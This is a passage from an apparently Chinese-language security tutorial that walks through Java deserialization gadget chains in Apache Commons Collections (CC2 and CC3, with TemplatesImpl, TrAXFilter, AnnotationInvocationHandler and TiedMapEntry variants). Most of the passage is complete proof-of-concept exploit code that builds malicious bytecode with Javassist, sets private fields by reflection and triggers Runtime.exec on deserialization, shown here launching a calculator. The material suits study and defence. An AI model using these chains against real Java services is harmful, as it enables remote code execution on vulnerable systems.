    public static void main(String[] args ) throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
        TransformingComparator transformingComparator= new TransformingComparator<>(chainedTransformer,null);
//        transformingComparator.compare("1","2");
        PriorityQueue queue = new PriorityQueue(2,transformingComparator);
        queue.add(1);
        queue.add(2);
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

TemplatesImpl版本

在这个版本中使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类的defineTransletClasses()方法

private void defineTransletClasses()
        throws TransformerConfigurationException {
...
     TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
...

    }

这个方法会创建一个长度为_bytecodes.length的数组_class,然后循环遍历每个转换类的字节码,并通过loader.defineClass(_bytecodes[i])方法将字节码转换为实际的Class对象

如果_bytecodes保存的是恶意的字节码,那这里就可以获得一个恶意的Class对象

其中_bytecodes可以通过构造函数获取,但是这个是protected类型的,不能直接调用,为了不那么麻烦,可以考虑通过反射修改属性的值了

protected TemplatesImpl(byte[][] bytecodes, String transletName,
        Properties outputProperties, int indentNumber,
        TransformerFactoryImpl tfactory)
    {
        _bytecodes = bytecodes;
        init(transletName, outputProperties, indentNumber, tfactory);
    }

通过反射修改属性的值:

TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});

如何获取恶意的bytes?

使用javasist创建恶意类,转换成bytes,然后使用ClassLoader进行加载测试

ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
Evil.writeFile("./");

//测试
Class clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
claz.newInstance();

其中,第三行是设置这个恶意类继承AbstractTranslet,为什么要这么做呢?

因为上面提到的defineTransletClasses中,存在if检查,检查这个类的父类是否为ABSTRACT_TRANSLET

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

目前的poc:

//构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

这里只是获取了恶意的Class,但是还没有进行实例化

查看在这个类下的getTransletInstance方法

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

在这个方法中,如果属性_name为空直接返回null,需要反射修改这个值如果_class 为空则调用刚刚的defineTransletClasses(),然后后面newInstance()会对_class的内容进行建类的实例,就是获取到这个恶意类的实例,执行恶意类

所以构造poc需要添加:

Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");

Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);

下一步是查看哪里调用了getTransletInstance,然后就找到了newTransformer

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

这个方法是public方法可以直接调用,然后就可以触发前面的链子执行命令了

tmpl.newTransformer();

到这里还没有到readObject,继续寻找

注意看上面的newTransformer方法,它返回一个 Transformer 对象。这很关键

这里直接使用了前面链子中用到过的InvokerTransformer,这个可以调用任意方法

InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
transformer.transform(tmpl);

这样就可以代替tmpl.newTransformer(),而且还可以链到CC2第一条链子上(TransformingComparator版本)

后面的就不详细分析了,上面有

下一步就是调用到org.apache.commons.collections4.comparators.TransformingComparator#compare()

public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

所以使用

TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(tmpl,tmpl);

替换transformer.transform(tmpl);

下一步就是找调用compare的地方

java.util.PriorityQueue#siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

这里使用第二个compare来触发,毕竟它的参数x是直接来自方法的参数,而且comparator是类属性,可以通过反射修改为transformingComparator

下一步就是看siftDown

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

这里需要控制comparator != null,上面已经通过反射修改,不为空

然后就到了这里heapify

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这里需要注意一下我们需要控制的参数变成了queue[i],这个queue是这个类的属性,可以通过反射修改

还有size >>> 1这里表示右移一位即相当于除二,所以size最小为2,可以通过添加队列元素控制,也可以通过反射控制

然后就来到了这个类的readObject

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

整个调用链:

graph TB
A("java.util.PriorityQueue#\nreadObject()") --> B("java.util.PriorityQueue#\nheapify()")
B("java.util.PriorityQueue#\nheapify()")--> C("java.util.PriorityQueue#\nsiftDown()")
C("java.util.PriorityQueue#\nsiftDown()")-->D("java.util.PriorityQueue#\nsiftDownUsingComparator()")
D("java.util.PriorityQueue#\nsiftDownUsingComparator()")-->E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")
E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")-->F("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()")
F("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()")-->G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")
G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")
H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")
I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")
J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->K("Runtime.getRuntime.exec")

最终POC:

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class App
{
    public static void main(String[] args ) throws IOException, NotFoundException, CannotCompileException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

//        tmpl.newTransformer();
        InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
//        transformer.transform(tmpl);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
//        transformingComparator.compare(tmpl,tmpl);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator_field = queue.getClass().getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,transformingComparator);


        Field queue_ = queue.getClass().getDeclaredField("queue");
        queue_.setAccessible(true);
        queue_.set(queue, new Object[]{tmpl,1});


        serialize(queue);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC3

条件:commons-collections: 3.1~3.2.1

jdk: <7u21或jdk8低版本

环境:

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.22.0-GA</version>
</dependency>

这个条链子可以说是CC1和CC2的结合,前半部分是CC2的后半部分是CC1的

下面是前半部分的,就是上面CC2种javassist写入恶意字节码部分,这里就不分析了

//构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

        tmpl.newTransformer();//触发命令执行

下一步就是寻找哪些地方可以调用newTransformer()

这里使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

在这个类的构造方法种就调用了newTransformer()方法,templates参数可控

直接构造new TrAXFilter(tmpl);就能触发

下一步就是找到一个方法调用了TrAXFilter的构造方法

这里找到的是org.apache.commons.collections.functors.InstantiateTransformertransform方法

public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

其构造方法如下:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

这个iParamTypes可控,说明Constructor con = ((Class) input).getConstructor(iParamTypes);可控,这条语句的意思是,获取指定参数类型的构造方法,然后使用构造函数的newInstance()方法创建对象的实例。iArgs表示实际传递给构造函数的参数列表

所以构造下面代码就可以命令执行了:

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
instantiateTransformer.transform(TrAXFilter.class);

这里和CC1一样,因为这个transform还需要传入一个参数TrAXFilter.class,这对后面的利用中参数控制带来一定的麻烦

于是又用上了ConstantTransformer这个类

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return iConstant;
    }

这个类的transform方法直接返回构造函数的参数

再利用ChainedTransformer将这两个类串起来:

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        };
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform('a');

然后后面的链子就是CC1的内容了:

找到一个调用了transform的类,按照CC1的就是LazyMap()这个类的get()

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

所以将transformerChain.transform('a');替换成:

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
lazyMap.get("a");

AnnotationInvocationHandler版本

下一步就是寻找调用了get()的地方,然后找到了sun.reflect.annotation.AnnotationInvocationHandlerinvoke

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
                        return var6;
                    }
            }
        }
    }

这个类的构造方法如下:this.memberValues 可控,设置 this.memberValues 为我们构造的 LazyMap,但是这里存在一个if判断,第一个参数类型必须是注解

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

下一步就要想如何调用这个invoke方法

这部分涉及到 java 的动态代理。创建一个 AnnotationInvocationHandler 的代理类,当调用 AnnotationInvocationHandler 的代理类里的任意方法时都会先调用 AnnotationInvocationHandler#invoke() 方法,有点像php里的 _call() 只不过 _call() 在调用不存在的方法才触发

//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazyMap);
// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//调用代理对象的任意方法
proxyMap.size();

这里可以调用任意方法触发,只要找到一个readObject有对我们的代理对象调用任意方法就行,最后使用的是AnnotationInvocationHandler的readObject方法

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

这里需要再实例化一个AnnotationInvocationHandler 包裹的代理对象 proxyMap

handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);

然后对这个类进行序列化和反序列化

serialize(handler);
unserialize("ser.bin");

利用链如下:

graph TB
A("sun.reflect.annotation.AnnotationInvocationHandler#\nreadObject()")-->B("sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke()")
B("sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke()")-->C("org.apache.commons.collections.map.LazyMap#\nget()")
C("org.apache.commons.collections.map.LazyMap#\nget()")-->D("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")
D("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->E("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")
E("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->F("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")
F("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")
G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")
H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")
I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")
J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->K("Runtime.getRuntime.exec")

最后的POC:

package org.example;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;

public class App
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

//        tmpl.newTransformer();

//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
//        instantiateTransformer.transform(TrAXFilter.class);


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform('a');

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,transformerChain);
//        lazyMap.get("a");

        //实例一个 AnnotationInvocationHandler 类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
        construct.setAccessible(true);
        //这里第一个参数必须是注释类型的
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazyMap);
        // 创建 AnnotationInvocationHandler 的代理
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        //调用代理对象的任意方法
//        proxyMap.size();

        // 再实例化一个 AnnotationInvocationHandler 包裹的代理对象 proxyMap
        handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);


        serialize(handler);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

TiedMapEntry版本

接着上面LazyMap的get()方法,在CC1中还有另外一条路可走,那就是TiedMapEntry这个类

public Object getValue() {
        return map.get(key);
    }

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

这个getValue方法调用了get()方法,其中map可以通过构造函数赋值,hashCode方法调用了getValue方法

TiedMapEntry tiedmapentry= new TiedMapEntry(lazyMap,"abc");
tiedmapentry.hashCode();

下一步就是寻找调用hashCode方法的地方

java.util.HashMap, 可以构造hash(tiedmapentry)

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

但是hash方法不是public类型,只能内部调用

正好这个类的readObject方法调用了这个hash,结束这个链子

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
      .....
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

整个调用链如下:

graph TB
A("java.util.HashMap#\nreadObject()")-->B("java.util.HashMap#\nhash()")
B("java.util.HashMap#\nhash()")-->C("org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode()")
C("org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode()")-->D("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")
D("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->E("org.apache.commons.collections.map.LazyMap#\nget()")
E("org.apache.commons.collections.map.LazyMap#\nget()")-->F("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")

F("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->G("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")
G("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")
H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")
I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")
J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")
K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")
L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->M("Runtime.getRuntime.exec")

最后的POC

package org.example;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;

